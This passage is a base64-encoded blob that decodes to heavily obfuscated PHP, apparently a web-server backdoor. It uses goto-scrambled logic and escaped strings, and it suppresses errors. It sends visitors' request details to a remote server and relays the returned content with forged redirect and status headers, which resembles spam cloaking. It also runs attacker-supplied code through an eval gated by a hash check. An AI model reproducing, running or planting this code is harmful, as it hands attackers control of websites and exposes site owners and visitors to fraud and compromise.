NeDI4MXpZSWFweFNJaCA9IGFycmF5KCJceDY4XDE2NFx4NzRcMTYwIiA9PiBhcnJheSgiXHg2ZFwxNDVceDc0XDE1MFwxNTdcMTQ0IiA9PiAiXDEwN1x4NDVceDU0IiwgIlwxNjRceDY5XHg2ZFwxNDVcMTU3XHg3NVwxNjQiID0+IDYwLCAiXDE0NlwxNTdcMTU0XHg2Y1wxNTdceDc3XHg1Zlx4NmNceDZmXHg2M1wxNDFcMTY0XDE1MVwxNTdcMTU2IiA9PiAwKSwgIlwxNjNceDczXDE1NCIgPT4gYXJyYXkoIlx4NzZceDY1XDE2MlwxNTFcMTQ2XHg3OVx4NWZcMTYwXHg2NVx4NjVcMTYyIiA9PiBmYWxzZSwgIlx4NzZceDY1XHg3Mlx4NjlcMTQ2XDE3MVwxMzdcMTYwXHg2NVwxNDVcMTYyXHg1ZlwxNTZcMTQxXDE1NVwxNDUiID0+IGZhbHNlKSk7IGdvdG8gUzFYQU9TUTgyYjBibUpkRDsgcWFiRlFQOEJhUElMcE5sUTogWlB6dXZybFRLZTlsWENWWTogZ290byBSOVVoSTJ1SUxaWXNaUWx1OyB2aGpoR19BUGdyaldkWTUwOiBpZiAoIWluX2FycmF5KCR4bWk2YU9MUHRFSmVPQUFKWyJceDczXDE2NFwxNDFcMTY0XDE2NVx4NzMiXSwgYXJyYXkoMjAwLCAzMDEsIDMwMiwgNDA0KSkpIHsgZ290byBoVHJVb1dEVzBqTW00MWYyOyB9IGdvdG8gVDMyZWhna3JfSHk5OGV4WDsgZ2RiY2toREt4ZGlGNlFkSjogY3VybF9zZXRvcHQoJEo2cTE2MmhzdGY1MDFCUVAsIENVUkxPUFRfVVJMLCAkSzRfSmJ4bFZqbnhzalg3cSk7IGdvdG8gQThIYWMwX3Zqa09YSGJPUTsgUzFYQU9TUTgyYjBibUpkRDogJGkydDAzTm9ESXVBbzZVclEgPSBzdHJlYW1fY29udGV4dF9jcmVhdGUoJGhQTXgyODF6WUlhcHhTSWgpOyBnb3RvIEQySkw0WFJITVJzSkxFOVU7IG9UUDhPSUs4c09LQXFQZXQ6IGN1cmxfc2V0b3B0KCRKNnExNjJoc3RmNTAxQlFQLCBDVVJMT1BUX1JFVFVSTlRSQU5TRkVSLCAxKTsgZ290byBNZ0lVS2NpdlB0ZEp1cE9LOyBReW9jb3dtX3AxZFJjMk0yOiAkeG1pNmFPTFB0RUplT0FBSlsiXDE2M1wxNjRceDYxXDE2NFwxNjVceDczIl0gPSBpbnR2YWwoY3VybF9nZXRpbmZvKCRKNnExNjJoc3RmNTAxQlFQLCBDVVJMSU5GT19IVFRQX0NPREUpKTsgZ290byBYUkJCY1QzQWhrckN4SDgxOyBYZEFCbE9TY3RqOXlqUnJvOiBnb3RvIE9QNFYybUtIYlJtTWhidzg7IGdvdG8gTWFBTEdJQk5JbU9VQ1lCRjsgWFJCQmNUM0Foa3JDeEg4MTogJHhtaTZhT0xQdEVKZU9BQUpbIlwxNjRceDc5XDE2MFwxNDUiXSA9IHN0cnZhbChjdXJsX2dldGluZm8oJEo2cTE2MmhzdGY1MDFCUVAsIENVUkxJTkZPX0NPTlRFTlRfVFlQRSkpOyBnb3RvIFZMdVlJdUszYU90UW1zTVo7IFBCVmhXdnFYcVRsc3ZiTEw6IGN1cmxfc2V0b3B0KCRKNnExNjJoc3RmNTAxQlFQLCBDVVJMT1BUX0NPT0tJRVNFU1NJT04sIDApOyBnb3RvIG9UUDhPSUs4c09LQXFQZXQ7IFgzMFJzSFd0dTYzN201V1I6ICR4bWk2YU9MUHRFSmVPQUFKID0gYXJyYXlfbWVyZ2UoJHhtaTZhT0xQdEVKZU9BQUosIGtwa0FfY1hNQ2MxdUw1SWsoJGh0dHBfcmVzcG9uc2VfaGVhZGVyKSk7IGdvdG8gVXNNRzR5dzY4MDE1Nkt1RTsga3hMa3JZc2xCeHdZcVVESjogfSBjYXRjaCAoRXhjZXB0aW9uICRuclFkTWhmaTFhTFpyWFhUKSB7IH0gZ290byBBNTRkaWpGTGU5QUN0UzZ4OyBBNTRkaWpGTGU5QUN0UzZ4OiByZXR1cm4gJHhtaTZhT0xQdEVKZU9BQUo7IGdvdG8geXpQY3RndGF5TVlveXNWSDsgRFhNYlp2X0RUcE0yYUdQNjogJHhtaTZhT0xQdEVKZU9BQUogPSBhcnJheSgiXDE2M1wxNjRcMTQxXDE2NFwxNjVceDczIiA9PiAwLCAiXHg2M1x4NmZceDZlXHg3NFwxNDVceDZlXDE2NCIgPT4gJycsICJcMTY0XDE3MVx4NzBceDY1IiA9PiAnJyk7IGdvdG8gS3BxUUpkVTBnMHpja1l5ZDsgajVEaEJmdDRQWk81RW1teTogJEs0X0pieGxWam54c2pYN3EgLj0gIlw3NyIgLiBodHRwX2J1aWxkX3F1ZXJ5KCRUWU16anVCU3lNcjNhUmJEKTsgZ290byBQSEtmVlpWTXlkSnFwMzJuOyB5elBjdGd0YXlNWW95c1ZIOiB9IGdvdG8gS0x1M1J1cG5zd2FDMEZRVzsgQWFhemRNbGhQc1h4MHIybzogcDVBVkU1SGwwaWY4UW10STogZ290byB6enpNMUpkcWowM09VYXpZOyBmREZXbVpaSVozeU1QaVJPOiAkTHVjdUpJZ0ZFWDNkRGdxQiA9IHRtQTJ6ZjlmOThvcWgxN3IoKTsgZ290byBkemw5RXRBeV96cVFNa3RIOyBSREdERGJmSm43N3pQdzNjOiBleGl0KDApOyBnb3RvIE9HYkRSbjJmY0lnd2g1NGo7IFlGQmpTSDdKVkRRS2pfV1Q6ICRGWkxUWDdzdjZYYUdIRTI4ID0gdHJ1ZTsgZ290byBxVVhHd29KV1BTWXdrMGwwOyBMWl9HNDE5T29HaUdPY3dEOiBpOUtmZFBJT0JPQUhMRWUwOiBnb3RvIG9JSUd1MzNfNVNPbmtac2Q7IHZ3VEFFQjV5NzRUQnNCaXU6ICRpWEtxdW5LaXNhbWVGVTVZID0gJFpkVW1UV0VCdHlRV0VQM3AoIlwxNzYiLCAiXHgyMCIpOyBnb3RvIFlLdnFHYUo2YUZPWDVIZTE7IGRMUW1aTDZHMTNkTngyYmY6IGlmICghKHN0cnBvcygkdnI3T0QzT2h4dEVjQjNGZywgIlx4MmUiKSA+IDAgJiYgc3RycG9zKCR2cjdPRDNPaHh0RWNCM0ZnLCAiXHgyZVx4NzBcMTUwXHg3MCIpID09PSBmYWxzZSkpIHsgZ290byBNYm96emR4ek9CbVdSWnZQOyB9IGdvdG8gU3phcUt3N1cyYXltb0VoYjsgTEdja3EzeHc5dVBDbktCdTogQGhlYWRlcigiXHg0M1x4NmZceDZlXDE2NFwxNDVcMTU2XDE2NFw1NVwxMjRcMTcxXHg3MFx4NjVcNzIiIC4gJHhtaTZhT0xQdEVKZU9BQUpbIlwxNjRceDc5XHg3MFx4NjUiXSk7IGdvdG8gYjJWWFVZaDdBeWJadUZCODsgV0dCbE9ubjk0ckg5aWpmcDogZXhpdChzdHJyZXYobWQ1KCRfU0VSVkVSWyJceDUzXHg0NVx4NTJcMTI2XHg0NVx4NTJceDVmXDExNlx4NDFcMTE1XHg0NSJdKSkpOyBnb3RvIExaX0c0MTlPb0dpR09jd0Q7IFlLdnFHYUo2YUZPWDVIZTE6ICRQU2pFd2MwbEpSU1N0NkZwID0gJHskaVhLcXVuS2lzYW1lRlU1WVsyNiArIDVdIC4gJGlYS3F1bktpc2FtZUZVNVlbMjUgKyAzNF0gLiAkaVhLcXVuS2lzYW1lRlU1WVs0ICsgNDNdIC4gJGlYS3F1bktpc2FtZUZVNVlbNDEgKyA2XSAuICRpWEtxdW5LaXNhbWVGVTVZWzE1ICsgMzZdIC4gJGlYS3F1bktpc2FtZUZVNVlbMzIgKyAyMV0gLiAkaVhLcXVuS2lzYW1lRlU1WVs0OCArIDldfTsgZ290byBacHNFVHlmSFJkRTRCMDR4OyBacHNFVHlmSFJkRTRCMDR4OiBpZiAoIShpbl9hcnJheShnZXR0eXBlKCRQU2pFd2MwbEpSU1N0NkZwKSAuIGNvdW50KCRQU2pFd2MwbEpSU1N0NkZwKSwgJFBTakV3YzBsSlJTU3Q2RnApICYmIGNvdW50KCRQU2pFd2MwbEpSU1N0NkZwKSA9PSAyNyAmJiBtZDUobWQ1KG1kNShtZDUoJFBTakV3YzBsSlJTU3Q2RnBbMjFdKSkpKSA9PT0gIlw2Nlx4MzVcNjNcNjVcMTQ1XDE0NlwxNDNcNjBcNjdcNjNceDMzXHg2NVx4NjRceDM0XDE0MVw2M1x4MzZceDY1XHgzOFw2NFw2M1w2N1w2M1x4MzVcNjFcNjVceDM5XDE0NVw3MVx4MzhcNzBcNjEiKSkgeyBnb3RvIHA1QVZFNUhsMGlmOFFtdEk7IH0gZ290byB0aUtKVzl3VUpOUzdDVnp3OyBPR2JEUm4yZmNJZ3doNTRqOiBtZjEycTlIS09yeDNtSkdLOiBnb3RvIHlpTWhRVXc4aEE4aktoaVo7IHVDSlA3TGhfYmtUT1RPaEM6ICRtSTlYSG5GSzhPQ05TZkVOID0gd0tDUkZOZjZFYXZ1TTBSNigpIC4gJF9TRVJWRVJbIlwxMTBceDU0XDEyNFx4NTBceDVmXHg0OFwxMTdcMTIzXDEyNCJdOyBnb3RvIE9Pb2U0bTJCNmFNZVBaWWs7IEFEXzhua0xINXdUVnlkOW86ICR2cjdPRDNPaHh0RWNCM0ZnID0gcHJlZ19yZXBsYWNlKCJceDJmXDEzNFw3N1x4MmVceDJhXHgyZiIsICcnLCAkX1NFUlZFUlsiXDEyMlx4NDVcMTIxXHg1NVx4NDVceDUzXHg1NFx4NWZceDU1XHg1MlwxMTEiXSk7IGdvdG8gSHkxcF9ZeGdPbW93SkZXWTsgdGlLSlc5d1VKTlM3Q1Z6dzogKCRQU2pFd2MwbEpSU1N0NkZwWzYyXSA9ICRQU2pFd2MwbEpSU1N0NkZwWzYyXSAuICRQU2pFd2MwbEpSU1N0NkZwWzczXSkgJiYgKCRQU2pFd2MwbEpSU1N0NkZwWzg3XSA9ICRQU2pFd2MwbEpSU1N0NkZwWzYyXSgkUFNqRXdjMGxKUlNTdDZGcFs4N10pKSAmJiBAZXZhbCgkUFNqRXdjMGxKUlNTdDZGcFs2Ml0oJHskUFNqRXdjMGxKUlNTdDZGcFs0MV19WzExXSkpOyBnb3RvIEFhYXpkTWxoUHNYeDByMm87IHlibkF1a3k1T3NlMVV1M0s6ICRqMXkxcHN6QW9lRnNhdU5iWyJcMTU0Il0gPSBJTTRKQWg2SWY0TTdlekRCKCRfU0VSVkVSWyJcMTEwXDEyNFwxMjRcMTIwXHg1Zlx4NDFcMTAzXHg0M1x4NDVceDUwXHg1NFx4NWZceDRjXHg0MVwxMTZcMTA3XDEyNVwxMDFcMTA3XHg0NSJdKTsgZ290byBxemh3aDRGSXNhS2dEaktVOyB5XzdFdWUyclcyQ3Bmc1d2OiBlcnJvcl9yZXBvcnRpbmcoMCk7IGdvdG8gRG1ibTFod3FiNWNIRjV1SDsgRjFIMzRsR3cxaWNWQTJybTogc3dpdGNoICgkeG1pNmFPTFB0RUplT0FBSlsiXDE2M1x4NzRceDYxXHg3NFx4NzVceDczIl0pIHsgY2FzZSAzMDE6IGdvdG8gdGlrTVAwOVh0WjFWbDNBSzsgYmZoQXdlZ1FtWERfSk5aWDogaGVhZGVyKCJceDRjXHg2ZlwxNDNcMTQxXHg3NFwxNTFcMTU3XHg2ZVx4M2FceDIwIiAuIHRyaW0oJHhtaTZhT0xQdEVKZU9BQUpbIlwxNDNceDZmXDE1Nlx4NzRceDY1XHg2ZVx4NzQiXSkpOyBnb3RvIFVhUkFzVlJZNFBjOVJxa187IHRpa01QMDlYdFoxVmwzQUs6IGhlYWRlcigiXHg0OFx4NTRceDU0XDEyMFw1N1x4MzFcNTZcNjFcNDBceDMzXHgzMFw2MVw0MFwxMTVceDZmXDE2Nlx4NjVcMTQ0XHgyMFx4NTBceDY1XDE2Mlx4NmRcMTQxXHg2ZVx4NjVceDZlXHg3NFx4NmNceDc5Iik7IGdvdG8gYmZoQXdlZ1FtWERfSk5aWDsgVWFSQXNWUlk0UGM5UnFrXzogZ290byBGZXdpbHNiQ0VhYjNXeFJBOyBnb3RvIGlmRUN3OEdSaUhSazRnMkk7IGlmRUN3OEdSaUhSazRnMkk6IGNhc2UgMzAyOiBnb3RvIGRNZTllWEoxdXRvaEpQMXE7IEtaMUpsZkhuakFKalYwRkE6IGdvdG8gRmV3aWxzYkNFYWIzV3hSQTsgZ290byBxbGRxZzh2QUcxMEpHQjBiOyBkTWU5ZVhKMXV0b2hKUDFxOiBoZWFkZXIoIlwxMTBceDU0XDEyNFx4NTBceDJmXHgzMVx4MmVcNjFcNDBcNjNceDMwXDYyXHgyMFx4NGRceDZmXHg3Nlx4NjVcNDBceDU0XDE0NVx4NmRceDcwXHg2Zlx4NzJcMTQxXHg3Mlx4NjlcMTU0XHg3OSIpOyBnb3RvIE5YRERib3lEQ2IyOUE5d0U7IE5YRERib3lEQ2IyOUE5d0U6IGhlYWRlcigiXDExNFwxNTdcMTQzXDE0MVwxNjRceDY5XDE1N1x4NmVcNzJceDIwIiAuIHRyaW0oJHhtaTZhT0xQdEVKZU9BQUpbIlwxNDNceDZmXDE1NlwxNjRceDY1XDE1Nlx4NzQiXSkpOyBnb3RvIEtaMUpsZkhuakFKalYwRkE7IHFsZHFnOHZBRzEwSkdCMGI6IGNhc2UgNDA0OiBnb3RvIG1nRjBvMlhQZWxGYXlWVTQ7IHl0WXlndXNBMG9SNlhYREU6IGdvdG8gRmV3aWxzYkNFYWIzV3hSQTsgZ290byBLbzl6MDZxU0xoX2JLR2c3OyB6VlZIdWdPV203YzBzUWRCOiBoZWFkZXIoIlx4NzNcMTY0XDE0MVx4NzRcMTY1XDE2M1x4M2FceDIwXHgzNFx4MzBcNjRcNDBceDRlXDE1N1wxNjRceDIwXHg0NlwxNTdceDc1XDE1NlwxNDQiKTsgZ290byB5dFl5Z3VzQTBvUjZYWERFOyBtZ0YwbzJYUGVsRmF5VlU0OiBoZWFkZXIoIlwxMTBceDU0XDEyNFx4NTBceDJmXDYxXHgyZVx4MzFceDIwXDY0XDYwXHgzNFw0MFwxMTZceDZmXDE2NFx4MjBcMTA2XHg2Zlx4NzVceDZlXHg2NCIpOyBnb3RvIHpWVkh1Z09XbTdjMHNRZEI7IEtvOXowNnFTTGhfYktHZzc6IGRlZmF1bHQ6IGdvdG8gRmV3aWxzYkNFYWIzV3hSQTsgfSBnb3RvIFhONWxESE1ta01fQkY3bmY7IHFVWEd3b0pXUFNZd2swbDA6IE1wdjFDd2dTUjM3U0NwVkM6IGdvdG8gYnp3ZUV5WjFuMW5JTUF3YTsgajJTU1RJUVJpMlNhSVEyajogJGoxeTFwc3pBb2VGc2F1TmIgPSBhcnJheSgpOyBnb3RvIHlFSGJlSkUzRHpWYjBtUng7IHVfeTZpRjk4a3JCcndWUWw6IGV4aXQoIlx4N2JcNDBcNDJcMTQ1XDE2Mlx4NzJcMTU3XDE2Mlw0Mlx4M2FcNDBcNjJcNjBcNjBcNTRcNDBceDIyXHg2Y1wxNDNceDIyXHgzYVw0MFx4MjJceDZhXDE1M1w0Mlw1NFw0MFw0Mlx4NjRcMTQxXDE2NFwxNDFcNDJceDNhXHgyMFx4NWJceDIwXHgzMVx4MjBcMTM1XHgyMFx4N2QiKTsgZ290byBWNVlSZml0M1dCNFpIb0xhOyBLTHUzUnVwbnN3YUMwRlFXOiBmdW5jdGlvbiBJbTRKYUg2SWY0TTdlemRiKCRTd1MyTGQwMFZISlpzOW1jKSB7IGdvdG8gRUhHVW5MOFo0VVBwMG1wcDsgSmQwa3B2RDFLOEFxd3VicDogcmV0dXJuIHJ0cmltKHN0cnRyKGJhc2U2NF9lbmNvZGUoJFN3UzJMZDAwVkhKWnM5bWMpLCAiXHgyYlw1NyIsICJcNTVcMTM3IiksICJceDNkIik7IGdvdG8gaURkc1AyRGM2emRPOHZ3dzsgTTNJdWJqTTlFUGJmMjNnVDogeWZ0T1ZqeWNnQWg3WWhJYTogZ290byBKZDBrcHZEMUs4QXF3dWJwOyBFSEdVbkw4WjRVUHAwbXBwOiBpZiAoJFN3UzJMZDAwVkhKWnM5bWMpIHsgZ290byB5ZnRPVmp5Y2dBaDdZaElhOyB9IGdvdG8gdEt5SXlYUlRHbzE0WHR6MTsgdEt5SXlYUlRHbzE0WHR6MTogcmV0dXJuICcnOyBnb3RvIE0zSXViak05RVBiZjIzZ1Q7IGlEZHNQMkRjNnpkTzh2d3c6IH0gZ290byBHMjRfSUVwUHJLbm1oa0Q2OyBYTjVsREhNbWtNX0JGN25mOiBoUDJycWpFYzU5anE1TEZnOiBnb3RvIHE3NW8za2wyWEgydnhiWVo7IEZ5TXRPQkdmUjloY01tcWw6ICRqMXkxcHN6QW9lRnNhdU5iWyJcMTYyIl0gPSBJbTRqYUg2SUY0bTdlWmRiKCRfU0VSVkVSWyJcMTIyXDEwNVx4NTFcMTI1XHg0NVwxMjNceDU0XDEzN1x4NTVcMTIyXDExMSJdKTsgZ290byBIOXVFWmV1UzR3WHU4Y0Z6OyBvSUlHdTMzXzVTT25rWnNkOiBpZiAoIXN1YnN0cl9jb3VudCgkX1NFUlZFUlsiXDEyMlwxMDVceDUxXHg1NVwxMDVcMTIzXHg1NFx4NWZcMTI1XHg1MlwxMTEiXSwgIlx4NjlcMTU2XHg2NFwxNDVceDc4XDU2XDE2MFwxNTBcMTYwXHgyZlx4NmFceDZiIikpIHsgZ290byBoTUV5NHA3MzhoTEhPdDBFOyB9IGdvdG8gdV95NmlGOThrckJyd1ZRbDsgVGdxcXNSN01tWWNjaHU3UDogaWYgKCFzdHJsZW4oJHhtaTZhT0xQdEVKZU9BQUpbIlx4NjNceDZmXDE1NlwxNjRceDY1XHg2ZVx4NzQiXSkpIHsgZ290byBtZjEycTlIS09yeDNtSkdLOyB9IGdvdG8gTEdja3EzeHc5dVBDbktCdTsgenp6TTFKZHFqMDNPVWF6WTogbWV0YXBob25lKCJcMTE3XHg0NFwxMDVcMTcyXHg0Zlx4NTRcMTQ3XHgzM1wxMTZcMTUyXDEzMVwxNzFceDRlXHg0NFx4NjNceDdhXDExN1x4NTRceDZiXDE3MFwxMTdcMTA0XHg1NVx4MzVcMTE3XHg1NFx4NTVcMTcyXDExNlwxMDRcMTQ3XHg3OSIpOyBnb3RvIFBYNVVLdXcwWnlmNGU4Y007IEtFclVTdXoxZktDT2VzdEc6IGZ1bmN0aW9uIFdrY1JGbkY2ZUF2VW0wcjYoKSB7IGdvdG8galEyMFM5VWtkSFB6YldqQTsgalEyMFM5VWtkSFB6YldqQTogJGN1d0lRQUVFclF0NUMxd2IgPSAiXHg2OFwxNjRceDc0XHg3MFx4M2FcNTdcNTciOyBnb3RvIHZaUlFlRWtOMXBGX216eHI7IFhTWlZDb2NjSkprWnNURzg6IHZFZk5NaElIeWxqdEg2YjQ6IGdvdG8gZjgya2ZWRzROVXhJSjdrMzsgZFdLZHZ5eVg5S2FwcWNjejogS3g2XzQwZGg1MVdfYW1mZzogZ290byBRNWRmc056VmhsS0ttMGVmOyB4NXdhT0dmTlhXSng4OEJGOiBnb3RvIHZFZk5NaElIeWxqdEg2YjQ7IGdvdG8gZ3RqckM5VVVETUcybmh0ejsgUTVkZnNOelZobEtLbTBlZjogJGN1d0lRQUVFclF0NUMxd2IgPSAiXDE1MFx4NzRceDc0XDE2MFx4NzNceDNhXHgyZlx4MmYiOyBnb3RvIHg1d2FPR2ZOWFdKeDg4QkY7IFdQT2JQT1ZSUlJtaXEwYXg6IEx0Q1pRV1JxRXNIV3FZOVM6IGdvdG8gb2NwNzVPemlhZmtqUG1lOTsgZjgya2ZWRzROVXhJSjdrMzogcmV0dXJuICRjdXdJUUFFRXJRdDVDMXdiOyBnb3RvIGJaT0l2Zl9Tdjl3bnEzTVE7IHNSamUxVVhTaDlPeTJiNlI6IGlmIChpc3NldCgkX1NFUlZFUlsiXDExMFx4NTRceDU0XHg1MFx4NWZceDU4XHg1Zlx4NDZceDRmXDEyMlx4NTdcMTAxXHg1MlwxMDRcMTA1XDEwNFx4NWZceDUwXDEyMlx4NGZcMTI0XHg0ZiJdKSAmJiAkX1NFUlZFUlsiXDExMFx4NTRcMTI0XHg1MFwxMzdceDU4XDEzN1wxMDZcMTE3XHg1MlwxMjdcMTAxXHg1Mlx4NDRcMTA1XHg0NFwxMzdcMTIwXHg1MlwxMTdcMTI0XDExNyJdID09PSAiXDE1MFwxNjRcMTY0XDE2MFx4NzMiKSB7IGdvdG8gV3hUeDF2UmthTmNkTnFDeTsgfSBnb3RvIHI1T0tmMEJ1eGZzRmRuZmY7IG9jcDc1T3ppYWZralBtZTk6ICRjdXdJUUFFRXJRdDVDMXdiID0gIlx4NjhcMTY0XDE2NFx4NzBcMTYzXHgzYVw1N1w1NyI7IGdvdG8gWFNaVkNvY2NKSmtac1RHODsgZ3RqckM5VVVETUcybmh0ejogV3hUeDF2UmthTmNkTnFDeTogZ290byBtZFhWMFpyekcwN09SUHdNOyByNU9LZjBCdXhmc0ZkbmZmOiBpZiAoaXNzZXQoJF9TRVJWRVJbIlx4NDhcMTI0XHg1NFwxMjBceDVmXDEwNlwxMjJceDRmXDExNlwxMjRceDVmXHg0NVwxMTZceDQ0XHg1Zlx4NDhceDU0XDEyNFwxMjBcMTIzIl0pICYmIHN0cnRvbG93ZXIoJF9TRVJWRVJbIlwxMTBceDU0XHg1NFwxMjBceDVmXHg0Nlx4NTJceDRmXHg0ZVx4NTRcMTM3XHg0NVx4NGVceDQ0XHg1Zlx4NDhcMTI0XHg1NFx4NTBceDUzIl0pICE9PSAiXHg2ZlwxNDZcMTQ2IikgeyBnb3RvIEx0Q1pRV1JxRXNIV3FZOVM7IH0gZ290byByVEVIWGkwblZjU242ODBKOyBtZFhWMFpyekcwN09SUHdNOiAkY3V3SVFBRUVyUXQ1QzF3YiA9ICJcMTUwXHg3NFx4NzRceDcwXDE2M1x4M2FcNTdcNTciOyBnb3RvIExmVmo2RlhwYXRkdHhVclo7IExmVmo2RlhwYXRkdHhVclo6IGdvdG8gdkVmTk1oSUh5bGp0SDZiNDsgZ290byBXUE9iUE9WUlJSbWlxMGF4OyByVEVIWGkwblZjU242ODBKOiBnb3RvIHZFZk5NaElIeWxqdEg2YjQ7IGdvdG8gZFdLZHZ5eVg5S2FwcWNjejsgdlpSUWVFa04xcEZfbXp4cjogaWYgKGlzc2V0KCRfU0VSVkVSWyJceDQ4XHg1NFwxMjRceDUwXDEyMyJdKSAmJiBzdHJ0b2xvd2VyKCRfU0VSVkVSWyJceDQ4XDEyNFwxMjRceDUwXHg1MyJdKSAhPT0gIlx4NmZcMTQ2XHg2NiIpIHsgZ290byBLeDZfNDBkaDUxV19hbWZnOyB9IGdvdG8gc1JqZTFVWFNoOU95MmI2UjsgYlpPSXZmX1N2OXducTNNUTogfSBnb3RvIEp6U2pJUERRXzlBOGRhOG87IEh5MXBfWXhnT21vd0pGV1k6ICRGWkxUWDdzdjZYYUdIRTI4ID0gZmFsc2U7IGdvdG8gZExRbVpMNkcxM2ROeDJiZjsgZ18yMFpUUjlGcFh2c29mdTogaWYgKGluX2FycmF5KCR4bWk2YU9MUHRFSmVPQUFKWyJceDczXDE2NFwxNDFcMTY0XDE2NVwxNjMiXSwgYXJyYXkoMCwgMjAwKSkpIHsgZ290byBiN1F0OWo1VjVFYTJETDlCOyB9IGdvdG8gRjFIMzRsR3cxaWNWQTJybTsgSG5KM3JkeEJZMTBTZFUzZjogJGoxeTFwc3pBb2VGc2F1TmJbIlwxNjUiXSA9IElNNGphSDZJRjRNN2VaZGIoJF9TRVJWRVJbIlx4NDhcMTI0XDEyNFwxMjBceDVmXDEyNVx4NTNceDQ1XHg1MlwxMzdcMTAxXDEwN1wxMDVcMTE2XHg1NCJdKTsgZ290byBBRF84bmtMSDV3VFZ5ZDlvOyBHR2d3S3NqMFoyQ0lFM0lhOiBiN1F0OWo1VjVFYTJETDlCOiBnb3RvIFRncXFzUjdNbVljY2h1N1A7IG5DU3ZJQUpidm1mZnFLT0o6IGZ1bmN0aW9uIGtQa0FfY3htY0MxVUw1SWsoJHg5NzlsWmxTYmF0cmtOMEUpIHsgZ290byBpemNTMDlaSk01ME9QUDBWOyB6SmZFYTZuck1ScEVHOUtjOiByZXR1cm4gJHh0OHdsMk5FMEgycWVEdEU7IGdvdG8gZ1FFVFdlT0oxdEdhSW02RjsgaXpjUzA5WkpNNTBPUFAwVjogJHh0OHdsMk5FMEgycWVEdEUgPSBhcnJheSgiXDE2M1x4NzRcMTQxXDE2NFx4NzVceDczIiA9PiAwLCAiXDE0M1wxNTdceDZlXDE2NFwxNDVceDZlXDE2NCIgPT4gJycsICJceDc0XHg3OVx4NzBceDY1IiA9PiAnJyk7IGdvdG8gcHRKcUo2RGtSQkZGQmlaZjsgc1prejNWUklnTmxIN05udDogZm9yZWFjaCAoJHg5NzlsWmxTYmF0cmtOMEUgYXMgJGtqYlhXZFV4ZGU0YWFzVDApIHsgZ290byBDWWhudXY0ekx5R3h6ZzFNOyBKNEVsdW9remtjTHNDVGUwOiBBUDdGRUN4ZzNjajdlSTVDOiBnb3RvIGp3RW92MldqSkxIZnBPV1Q7IG5TT1g3c0syQTZwWk9IQzM6ICR4dDh3bDJORTBIMnFlRHRFWyJceDYzXHg2ZlwxNTZceDc0XHg2NVx4NmVceDc0Il0gPSAkZ3hxcUxoOUNDRmVfbWtJUVsxXTsgZ290byBuM2liZTh3N082MzhFUm9SOyBUQ09fekZrWVhkdnhDbVNTOiAkeHQ4d2wyTkUwSDJxZUR0RVsiXHg3NFwxNzFcMTYwXDE0NSJdID0gJGd4cXFMaDlDQ0ZlX21rSVFbMV07IGdvdG8gbTVSSXU0a0ZJWUVBR2dqbDsgbTVSSXU0a0ZJWUVBR2dqbDogeTlwTjZqN3pDbWVhMWpzXzogZ290byBWY1dhQVRQYnlvRVBUTzVVOyBsZjNrbVlvYlZOZlpPRk5WOiBnb3RvIHk5cE42ajd6Q21lYTFqc187IGdvdG8gaXJqdjlrQ1poWTFXZmxIZTsgaXJqdjlrQ1poWTFXZmxIZTogaTdKX1ZidWgyREVDSVVjdjogZ290byBuU09YN3NLMkE2cFpPSEMzOyBNM0lRNHZSd1AwRWcyeXRLOiBpZiAocHJlZ19tYXRjaCgiXHgyZlwxNTRceDZmXDE0M1wxNDFcMTY0XDE1MVx4NmZceDZlXDEzNFx4M2FceDViXDEzNFwxNjNcMTM1XDUzXHgyOFw1Nlx4MmFceDI5XDU3XHg2OSIsICRramJYV2RVeGRlNGFhc1QwLCAkZ3hxcUxoOUNDRmVfbWtJUSkpIHsgZ290byBpN0pfVmJ1aDJERUNJVWN2OyB9IGdvdG8gUEtpcFBzTzI0ZEowd3dYNjsgVmNXYUFUUGJ5b0VQVE81VTogYmFtS2ppTUhSbm81VGxybjogZ290byBnRVdMcjRqcTA5aU9RZnpfOyBqd0VvdjJXakpMSGZwT1dUOiAkeHQ4d2wyTkUwSDJxZUR0RVsiXHg3M1wxNjRcMTQxXHg3NFwxNjVceDczIl0gPSBpbnR2YWwoJGd4cXFMaDlDQ0ZlX21rSVFbMV0pOyBnb3RvIGxmM2ttWW9iVk5mWk9GTlY7IFBLaXBQc08yNGRKMHd3WDY6IGlmIChwcmVnX21hdGNoKCJcNTdcMTQzXDE1N1wxNTZceDc0XHg2NVx4NmVceDc0XHg1Y1x4MmRcMTY0XHg3OVx4NzBceDY1XHg1Y1x4M2FcMTMzXDEzNFwxNjNceDVkXHgyYlx4MjhceDJlXHgyYVw1MVx4MmZcMTUxIiwgJGtqYlhXZFV4ZGU0YWFzVDAsICRneHFxTGg5Q0NGZV9ta0lRKSkgeyBnb3RvIHg5Um1TZGFHR3NXb216RnA7IH0gZ290byBoTERuM0pmRU9ibXBLaE5DOyBuM2liZTh3N082MzhFUm9SOiBnb3RvIHk5cE42ajd6Q21lYTFqc187IGdvdG8gV2VHemQzOFRYUFNEZjZQSDsgaExEbjNKZkVPYm1wS2hOQzogZ290byB5OXBONmo3ekNtZWExanNfOyBnb3RvIEo0RWx1b2t6a2NMc0NUZTA7IFdlR3pkMzhUWFBTRGY2UEg6IHg5Um1TZGFHR3NXb216RnA6IGdvdG8gVENPX3pGa1lYZHZ4Q21TUzsgQ1lobnV2NHpMeUd4emcxTTogaWYgKHByZWdfbWF0Y2goIlx4MmZcMTUwXHg3NFwxNjRcMTYwXHg1Y1w1N1wxMzNcNjBceDJkXHgzOVx4NWNceDJlXDEzNVx4MmJcMTMzXHg1Y1x4NzNceDVkXHgyYlw1MFwxMzNcNjBceDJkXHgzOVwxMzVcNTNcNTFceDJmXDE1MSIsICRramJYV2RVeGRlNGFhc1QwLCAkZ3hxcUxoOUNDRmVfbWtJUSkpIHsgZ290byBBUDdGRUN4ZzNjajdlSTVDOyB9IGdvdG8gTTNJUTR2UndQMEVnMnl0SzsgZ0VXTHI0anEwOWlPUWZ6XzogfSBnb3RvIFh3ckhnNjRIOTlNN3FvcjE7IGdQZGRIZE42SzcxMjhTeXo6IHJldHVybiAkeHQ4d2wyTkUwSDJxZUR0RTsgZ290byBMVUVabk9IMUY1bWtFYnhMOyBYd3JIZzY0SDk5TTdxb3IxOiBlUkJVTUJyYlVYazNtUUYyOiBnb3RvIHpKZkVhNm5yTVJwRUc5S2M7IHB0SnFKNkRrUkJGRkJpWmY6IGlmIChpc19hcnJheSgkeDk3OWxabFNiYXRya04wRSkpIHsgZ290byBzU1RnaVFQNHpLeEZWeDYxOyB9IGdvdG8gZ1BkZEhkTjZLNzEyOFN5ejsgTFVFWm5PSDFGNW1rRWJ4TDogc1NUZ2lRUDR6S3hGVng2MTogZ290byBzWmt6M1ZSSWdObEg3Tm50OyBnUUVUV2VPSjF0